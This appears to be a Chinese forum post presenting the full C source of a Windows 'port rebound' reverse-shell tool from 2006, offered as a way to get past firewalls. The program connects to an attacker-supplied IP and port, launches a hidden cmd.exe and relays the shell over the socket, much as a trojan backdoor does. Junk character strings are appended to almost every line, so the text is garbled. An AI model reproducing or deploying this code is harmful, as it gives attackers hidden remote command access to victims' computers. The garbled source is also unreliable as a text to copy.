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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j-VwY/X  
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/* ============================== Bsha)<  
Rebound port in Windows NT T8%!l40v  
By wind,2006/7 /t! 5||G  
===============================*/ An^)K  
#include qM6hE.J   
#include HXC\``E  
:{VXDT"  
#pragma comment(lib,"wsock32.lib") i7cUp3  
*e<}hm Dr  
void OutputShell(); Uq`6VpZ  
SOCKET sClient; ^Wn+G8n  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jatlv/,  
#)@#Qd  
void main(int argc,char **argv) e\^}PU  
{ G!wb|-4<$  
WSADATA stWsaData; 0-;>O|U3  
int nRet; =vvd)og  
SOCKADDR_IN stSaiClient,stSaiServer; lrL:G[rt  
(h= ]Ox  
if(argc != 3) /W .G- |:  
{ 5#s],h  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ab>Kfr#  
return; ]mz'(t  
} qkz|r?R)  
/y|ZAN  
WSAStartup(MAKEWORD(2,2),&stWsaData); 7U?#Xi5  
.p> ".q I  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iOSt=-p  
gs=ok8w  
stSaiClient.sin_family = AF_INET; R eb.x_  
stSaiClient.sin_port = htons(0); #XB3Wden2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H_Va$}8z  
Hc[@c)DH  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;yyR_N S  
{ +\;Ro18?  
printf("Bind Socket Failed!\n"); t_*x.{x-  
return; {QaO\{J=  
} e+F $fQt>  
[\Nmm4  
stSaiServer.sin_family = AF_INET; 4]$OO'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _}ii1fLv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H9i7y,[*  
5j$&Zgx51  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r!O[|h  
{ BFhEDkk  
printf("Connect Error!"); nB5\ocJ  
return; \13Q>iAu  
} *3!r &iY  
OutputShell(); *9xxX,QT8Q  
} <2L,+  
%{pjC7j#  
void OutputShell() fA]sPh4Uag  
{ 023uAaI^3r  
char szBuff[1024]; Bha("kG  
SECURITY_ATTRIBUTES stSecurityAttributes; 9v;HE{>  
OSVERSIONINFO stOsversionInfo; L N.:>,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GQk/ G0*&  
STARTUPINFO stStartupInfo; e$WAf`*  
char *szShell; eThFRU3 F  
PROCESS_INFORMATION stProcessInformation; Nnr[@^M5  
unsigned long lBytesRead; ,4`Vl<6  
Y .cjEeL@  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g/ShC8@=u  
9 nY|S{L  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <|.]$QSi  
stSecurityAttributes.lpSecurityDescriptor = 0; 7SH3k=x  
stSecurityAttributes.bInheritHandle = TRUE; i$$h6P#  
1 gcWw, /  
_-TW-{7bh  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z2`M8xEiH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); * ?~"Jw  
n7G`b'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s$qc &  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q :~/2<o  
stStartupInfo.wShowWindow = SW_HIDE; b_6cK#  
stStartupInfo.hStdInput = hReadPipe; K]Vp! G  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )=X g  
MffCk!]  
GetVersionEx(&stOsversionInfo); s]6;*mI2  
"crp/Bj?  
switch(stOsversionInfo.dwPlatformId) OFmHj]I7=  
{ LAnC8O  
case 1: !OQ5AF$  
szShell = "command.com"; @t1pB]O:  
break; q5hE S  
default: hGw}o,g  
szShell = "cmd.exe"; >5Lp;  
break; `q* p-Ju'  
} G 4~@  
VF";p^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L(cKyg[R  
RSbq<f>BFo  
send(sClient,szMsg,77,0); |<,0*2  
while(1) ti6X=@ P:  
{ ,Eh]Zv1 AE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9QB,%K_:4  
if(lBytesRead) "*j8G8  
{ hY%} x5ntU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @mxaZ5Vv}  
send(sClient,szBuff,lBytesRead,0); (!N2,1|  
} /SS~IhUX  
else J?X{NARt  
{ fe`_0lxj  
lBytesRead=recv(sClient,szBuff,1024,0); _[rQt8zn  
if(lBytesRead<=0) break; M  |h B[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j$XaO%y)  
} v=hn# U  
} xyM|q9Gf@  
#qF 1z}L(  
return; %HtgZeY  
}
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